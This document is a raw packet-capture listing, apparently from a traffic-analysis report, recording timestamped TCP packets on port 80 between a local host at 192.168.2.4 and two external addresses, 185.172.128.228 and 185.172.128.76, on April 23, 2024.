Apr 23, 2024 09:38:11.680272102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680274963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680284977 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680290937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680306911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680315971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680322886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680334091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680339098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680355072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680361986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680371046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680376053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680387020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680402994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680402994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680418968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680427074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680434942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680449963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680452108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680468082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680469036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680485964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680490971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680501938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680512905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680516958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680525064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680533886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680541992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680550098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680558920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680567026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680574894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680582047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680591106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680598974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680607080 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680615902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680623055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680633068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680639982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680646896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680648088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680664062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680665970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680680037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680684090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680696964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680701971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680708885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680712938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680728912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680731058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680746078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680748940 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680757999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680762053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680777073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680778980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680789948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680794001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680810928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680810928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680826902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680840015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680844069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680855989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680860043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680869102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680876017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680882931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680896044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680903912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680913925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680921078 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680928946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680929899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680946112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680948973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680960894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680963039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680979013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680979967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680994987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680998087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681010962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681011915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681030035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681034088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681041956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681046009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681063890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681071043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681087017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681091070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681103945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681104898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681119919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681126118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681143045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681143045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681160927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681162119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681179047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681180954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681193113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681195974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681211948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681212902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681229115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681231022 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681245089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681245089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681262016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681262016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681278944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681297064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681298971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681313992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681317091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681334019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681339979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681349039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681365013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681370020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681381941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681394100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681394100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681399107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681410074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681416035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681426048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681433916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681436062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681452036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681454897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681467056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681469917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681484938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681488037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681502104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681504965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681516886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681519985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681536913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681538105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.681560040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.681574106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.723225117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.723244905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.723263025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.723403931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.723403931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.733058929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733076096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733095884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733112097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733128071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733145952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733163118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733180046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733201027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733217001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733233929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733237982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733237982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733237982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733237982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733237982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733251095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733269930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733278036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733287096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733294964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733376026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733392000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733407974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733423948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733439922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733457088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733463049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733463049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733463049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733463049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733463049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733463049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733480930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733501911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.733503103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733503103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733520985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.733540058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.767134905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.767163038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.767180920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.767306089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.767306089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.783797026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.783982992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784429073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784446955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784463882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784487963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784522057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784552097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784568071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784584045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784595966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784600973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784616947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784635067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784627914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784653902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784658909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784676075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784702063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784703970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784722090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784739017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784745932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784755945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784771919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784787893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784790993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784805059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784817934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784821987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784846067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784854889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784869909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784882069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784897089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784902096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784919024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784923077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784936905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784944057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784954071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784960032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784971952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784979105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.784990072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.784996986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785007000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785015106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785023928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785033941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785048962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785051107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785065889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785069942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785083055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785088062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785099030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785103083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785115957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785125971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785132885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785134077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785150051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785166025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785172939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785181999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785192013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785198927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785214901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785224915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785232067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785245895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785248041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785264969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785276890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785283089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.785305977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.785325050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.822221994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822259903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822277069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822293043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822309017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822371006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822405100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822421074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822437048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822444916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822444916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822453022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822468996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822484970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822499990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822504997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822524071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822535038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822540998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822551966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822556973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822571993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822578907 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822587967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822603941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822603941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822621107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822633028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822635889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822652102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822660923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822668076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822671890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822684050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822699070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822700024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822715998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822715998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822732925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822737932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822748899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822766066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822767019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822779894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822781086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822797060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822808981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822813034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822825909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822829008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822844028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822848082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822860003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822871923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822875023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822891951 CEST	80	49735	185.172.128.228	192.168.2.4
